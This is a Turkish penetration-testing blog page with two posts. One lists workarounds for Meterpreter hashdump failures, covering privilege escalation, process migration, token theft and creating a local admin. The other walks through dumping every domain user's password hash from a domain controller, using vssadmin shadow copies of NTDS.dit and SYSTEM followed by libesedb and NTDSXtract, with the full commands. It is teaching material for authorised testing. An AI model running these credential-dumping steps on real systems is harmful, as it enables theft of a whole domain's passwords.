Volume Shadow Copy etiketine sahip kayıtlar gösteriliyor. Tüm kayıtları göster
Volume Shadow Copy etiketine sahip kayıtlar gösteriliyor. Tüm kayıtları göster

13 Kasım 2013 Çarşamba

İpucu: hashdump Hatası: priv_passwd_get_sam_hashes

hashdump Hatası: priv_passwd_get_sam_hashes

Meterpreter kabuğuna SYSTEM hakları ile düşüldükten sonra, yerel kullanıcı parola özetlerini almak için Meterpreter kabuğunda hashdump komutunu çalıştırmak gerekir. Meterpreter hashdump komutu, LSASS prosesine kod enjekte eder, CreateThread() fonksiyonunu çağırır ve enjekte edilen kod da LSASS içerisinden parola özetlerini alıp ekrana bastırır. Ancak artık bir çok AV ve HIPS gibi güvenlik mekanizmaları bahsedilen API çağrılarını önlerler. Bu sebeple Meterpreter hashdump çalışmayabilir. Bu ve benzer sebepelerle aşağıdaki gibi bir hata alınabilir:
meterpreter > hashdump
[-] priv_passwd_get_sam_hashes: Operation failed: The parameter is incorrect.

Bu durumlarda aşağıdaki işlemler denenebilir:

1) getsystem çalıştırılır. Örnek:

Kaynak: http://www.offensive-security.com/metasploit-unleashed/Pivoting
"getsystem" komutu ile ilgili ayrıntılı bilgi için bakınız.

2) Modül olarak hashdump kullanılır.

Not: Bu modül kayıt defterindeki SAM/SYSTEM anahtarlarını kullanır. Bu modülün çalışması için yönetici hakkı yetmez, SYSTEM haklarını ele geçirmek gereklidir.

Kaynak:
http://securityweekly.com/2014/10/post-exploitation-metasploit-and-windows-hashes.html

3) priv eklentisi yüklendikten sonra SYSTEM hakkı alınır.

Kaynak: http://www.offensive-security.com/metasploit-unleashed/Privilege_Escalation

4) getprivs komutu çalıştırılır. Daha sonra da Meterpreter hashdump veya diğer teknikler denenebilir.


5) MSF bypassuac modülü ile UAC kapatılır (Çalıştığını hiç görmedim)


6) Kayıt defterinden SAM ve SYSTEM dosyası alınır ve BT makinesine indirilir.

Kaynak:
http://ertugrulbasaranoglu.blogspot.com/2013/07/ipucu-kayt-defterinden-sam-ve-system.html

7) Prosesler listelendikten sonra başka bir prosese atlanır. Atlanan prosesin SYSTEM hakları ile çalışan ama winlogon’dan büyük olmayan bir proses olması tavsiye edilir. Svchost.exe dosyası sıçramak için iyi bir proses sayılır. (Aşağıdaki örnekte DA olan kullanıcının prosesine sıçranmıştır.)
Proseslerin listelenmesi: ps

Prosese sıçranması: migrate ProsesID

8) Modül olarak migrate kullanılır.

Kaynak: http://www.offensive-security.com/metasploit-unleashed/Windows_Post_Manage_Modules#migrate

9) Prosese sıçramak için Incognito da kullanılabilir.
Bu amaçla önce tokenlar listelenir:

Sonra da jeton alınır.

Kaynak: http://www.offensive-security.com/metasploit-unleashed/Fun_With_Incognito

10) SYSTEM hakları varken Windows kabuğuna düşülerek yerel bir yönetici oluşturulur.

Daha sonra da psexec ile o kullanıcı hesabı ile bağlantı kurulur.
RHOST: ms08_067 zafiyetinin bulunduğu bilgisayarın IP bilgisi
SMBPass: Yeni oluşturulan kullanıcının parolası (TestP@ss123)
SMBUser: Yeni oluşturulan kullanıcının adı (TestYerelKullanici)
LHOST: Kendi bilgisayarımızın IP bilgisi

Kaynak: http://ertugrulbasaranoglu.blogspot.com/2013/10/ipucu-psexec-modulu-ile-yeni.html
Daha sonra da hashdump denenir.

11) SYSTEM hakları varken Windows kabuğuna düşülerek yerel bir yönetici oluşturulur.

Daha sonra da o bilgisayara RDP ile girilip, Cain&Abel ile alınabilir. Veya SAM ve SYSTEM dosyası alınabilir. Online olarak almak için aşağıdaki işlemler uygulanabilir:
http://ertugrulbasaranoglu.blogspot.com/2013/08/ipucu-yerel-hesap-bilgilerinin.html
http://ertugrulbasaranoglu.blogspot.com/2013/07/ipucu-kayt-defterinden-sam-ve-system.html

12) MSF smart_hashdump post modülü kullanılır.

MSF smart_hashdump post modülü şu şekilde çalışır:

  • Sahip olunan yetki, işletim sistemi, rolü (DC olup olmadığı) belirlenir.
  • SYSTEM hakkına sahip olunmuşsa, kayıt defterinden SAM anahtarının altı okunur.
  • DC ise, LSASS içerisine kod enjekte edilir.
  • İşletim sistemi Windows Server 2008 ise ve yönetici haklarına sahip olunmuşsa, şu 3 adım gerçekleştirilir: Meterpreter getsystem komutu ile SYSTEM hakkı elde edilir. Eğer hata alındı ise, SYSTEM hakkıyla çalışan bir prosese sıçranır. Sonrasında da LSASS prosesine kod enjekte edilir.
  • İşletim sistemi Wİndows 7 ve üzeri bir işletim sistemi, UAC devre dışı ve yönetici haklarına sahip olunmuşsa, Meterpreter getsystem komutu ile SYSTEM hakkı elde edilir ve kayıt defterindeki SAM anahtarı okunur. 
  • İşletim sistemi Wİndows 2000/2003 veya XP ise, Meterpreter getsystem komutu ile SYSTEM hakkı elde edilir ve kayıt defterindeki SAM anahtarı okunur.
Kaynak:

13) Volume Shadow Copy ile SAM/SYSTEM/NTDS.dit dosyası alındıktan sonra bu dosyalar analiz edilir. NTDS.dit ve SYSTEM ile DC üzerinden domain kullanıcılarına parola özetlerinin elde edilmesi için bakınız.


26 Temmuz 2013 Cuma

Post Exploitation: Etki Alanındaki Bütün Kullanıcıların Parola Özetlerinin Elde Edilmesi

Post Exploitation: Etki Alanındaki Bütün Kullanıcıların Parola Özetlerinin Elde Edilmesi


Sızma testi sırasında DC ele geçirildikten sonra gerçekleştirilecek adımlardan birisi etki alanındaki tüm kullanıcıların parolasının elde edilmesi gerekebilir. Bu amaçla, MSF smart_hashdump modülü kullanılabilir. Ancak DC gibi kritik bir makineye MSF ile bağlanmak istenmeyen şeylere sebep olabilir. Bu sebeple, sisteme daha az zarar verme ihtimali olan yöntemler kullanılması gerekebilir.

Bu yazıda DC'ye yetkili kullanıcı hakkı ile erişim elde ettikten sonra, NTDS.dit ve SYSTEM dosyaları elde edilecek ve daha sonra da kullanıcı parolalarının özeti elde edilecektir.

1) NTDS.dit ve SYSTEM Dosyalarının Elde Edilmesi

Etki alanı nesnelerine ait bilgiler temel olarak NTDS.dit dosyasında bulunmaktadır diyebiliriz. Bu dosya da SYSTEM dosyasındaki bir anahtarla (SYSKEY) şifrelenmiştir. Bu 2 dosya elde edilirse, etki alanındaki kullanıcıların parola özetleri elde edilebilir. Ancak bu 2 dosyaya erişim işletim sistemi tarafından engellenmiştir. Bu amaçla, Volume Shadow Copy kullanılabilir.

Shadow kopya oluşturmak için, öncelikle, işletim sisteminin kurulu olduğu ve NTDS.dit dosyasının tutulduğu disk'te "Configure Shadow Copies..." seçimi yapılır.


Sonrasında seçilen alan Shadow kopya oluşturma özelliği aktifleştirilir.


Uyarı mesajı gelirse, bu mesaj onaylanır.


Böylece ilk kopya oluşturulmuştur:


Shadow kopya oluşturma işlemi "Disable" butonu ile iptal edilebilir veya Setting butonu ile konfigüre edilebilir.


Oluşan Shadow kopya içerisinden NTDS.dit ve SYSTEM dosyalarını elde etmek için öncelikle tüm shadow kopyalar listelenir:
vssadmin.exe list shadows


Bu örnekte tek bir kere Shadow kopyası oluşturulduğu için, bir adet Shadow kopya listenmiştir. Bu dizin "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1" olarak belirtilmiştir. En sondaki ID değeri her Shadow için bir artacaktır.

Bu Shadow kopya içerisindeki NTDS.dit ve SYSTEM dosyaları herhangi bir yere (C:\Users\Administrators\Desktop gibi) kaydedilebilir.
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\ntds\ntds.dit C:\Users\Administrator\Desktop
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\config\SYSTEM C:\Users\Administrator\Desktop


Elde edilen bu dosyalar Kali bir makinenin üzerine alınabilir. Ancak etki alanında çok fazla nesnenin olması bu dosyaların boyutunun artmasına sebep olacaktır. Bu durum da ağ üzerinde anormallik tespiti yapan ürünlerin (ADS gibi) alarm üretmesine sebep verebilir.



Not: DC'nin arayüzüne erişmeden, komut satırını kullanılarak da Shadow kopya elde edilebilir:
vssadmin create shadow /for=c:


Not: SYSTEM dosyası komut satırından ele geçirmek için Shadow kopyası oluşturmaya gerek yoktur. Aşağıdaki komutun çalışması yeterlidir:
reg SAVE HKLM/SYSTEM C:\SYSTEM_Dosyasi


Bu dosyalar Kali bilgisayarın root masaüstüne kaydedilir.

2) Elde Edilen Dosyalardan Etki Alanındaki Kullanıcıların Parola Özetlerinin Elde Edilmesi


Bu başlıkta, kopyalanan NTDS.dit ve SYSTEM dosyaları kullanılarak, etki alanındaki kullanıcı parolaları elde edilecektir. Bu amaçla önce NTDS.dit veritabanından ilgili tablolar çekilecek, daha sonra da bu tablolardan istenen hesap bilgileri çekilecektir. Bu işlem için Google Code üzerindeki "libesedb" aracı kullanılabilir.


Harici linke erişildiğinde araç görülmektedir:


Araç Kali üzerine indirilir.
wget https://255adcba056b7d59fd55a94f0ea02de0cf110bfb.googledrive.com/host/0B3fBvzttpiiSN082cmxsbHB0anc/libesedb-alpha-20120102.tar.gz --no-check-certificate



Sıkıştırılmış dosya çıkarılır.
gunzip libesedb-alpha-20120102.tar.gz
tar -xvf libesedb-alpha-20120102.tar


Konfigürasyon işlemi gerçekleştirilir.
ls
cd libesedb-20120102/
ls
ls -la configure
chmod +x configure
ls -la configure
./configure && make


Sonrasında da esedbtools/ klasörüne girilerek /root/Desktop dizinine koyulan ntds.dit dosyasındaki tablolar dışarıya aktarılır.
cd esedbtools/
ls
./esedbexport /root/Desktop/ntds.dit


Dışa aktarım sonrası durum aşağıdaki gibidir:
ls
cd ntds.dit.export/
ls


Daha sonra dışa aktarılan tabloları kullanarak etki alanındaki kullanıcıların parolalarını elde etmek için NTDSXTRACT aracının ana sayfasına girilir.


Aracın 1.0 sürümü indirilir
cd /root/
wget http://www.ntdsxtract.com/downloads/ntdsxtract/ntdsxtract_v1_0.zip
ls
unzip ntdsxtract_v1_0.zip


Amaç, etki alanı kullanıcılarının parola özetini almak olduğu için dsusers.py betiği kullanılacaktır. Bu betik parametre olarak NTDS.dit içerisinden çıkartılmış olan veri tablosunu ve link tablosunu almakta, ayrıca SYSTEM hive dosyasını da kullanmaktadır.
ls
cd NTDSXtract\ 1.0/
ls
python ./dsusers.py /root/libesedb-20120102/esedbtools/ntds.dit.export/datatable.3 /root/libesedb-20120102/esedbtools/ntds.dit.export/link_table.5 --passwordhashes /root/Desktop/SYSTEM


Böylece etki alanındaki kullanıcıların parola özetleri bu şekilde elde edilmiştir.